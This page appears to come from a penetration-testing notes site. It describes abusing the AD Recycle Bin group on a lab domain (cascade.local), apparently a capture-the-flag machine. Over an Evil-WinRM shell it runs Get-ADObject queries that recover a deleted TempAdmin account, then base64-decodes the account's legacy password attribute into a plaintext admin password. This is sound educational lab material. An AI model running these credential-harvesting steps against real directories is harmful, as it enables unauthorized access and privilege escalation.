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AD Recycle Bin Group

PreviousAzure AD Sync DumpNextGet-ChangesAll

Last updated 2 years ago

AD Recycle

AD Recycle Bin is a well-know Windows group. is a feature added in Server 2008 to allow administrators to recover deleted items just like the recycle bin does for files. The linked article gives a PowerShell command to query all of the deleted objects within a domain:

*Evil-WinRM* PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects


Deleted           : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name              : CASC-WS1
                    DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass       : computer
ObjectGUID        : 6d97daa4-2e82-4946-a11e-f91fa18bfabe

Deleted           : True
DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local                                                                                   
Name              : Scheduled Tasks
                    DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
ObjectClass       : group
ObjectGUID        : 13375728-5ddb-4137-b8b8-b9041d1d3fd2

Deleted           : True
DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Name              : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                    DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ObjectClass       : groupPolicyContainer
ObjectGUID        : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e

Deleted           : True
DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
Name              : Machine                                                              
                    DEL:93c23674-e411-400b-bb9f-c0340bda5a34               
ObjectClass       : container                                                            
ObjectGUID        : 93c23674-e411-400b-bb9f-c0340bda5a34
                                                                                         
Deleted           : True                                                                 
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
Name              : User                                                                 
                    DEL:746385f2-e3a0-4252-b83a-5a206da0ed88                             
ObjectClass       : container                                                            
ObjectGUID        : 746385f2-e3a0-4252-b83a-5a206da0ed88
                                            
Deleted           : True                                                                 
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local                                                                
Name              : TempAdmin               
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059                                         
ObjectClass       : user                                                                             
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059 

The last one is really interesting, because it’s the temporary administer account mentioned in the old email I found earlier (which also said it was using the same password as the normal admin account).

I can get all the details for that account:

*Evil-WinRM* PS C:\> Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *


accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

Immediately cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz jumps out. It decodes to baCT3r1aN00dles:

root@kali# echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
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Active Directory Object Recovery (or Recycle Bin)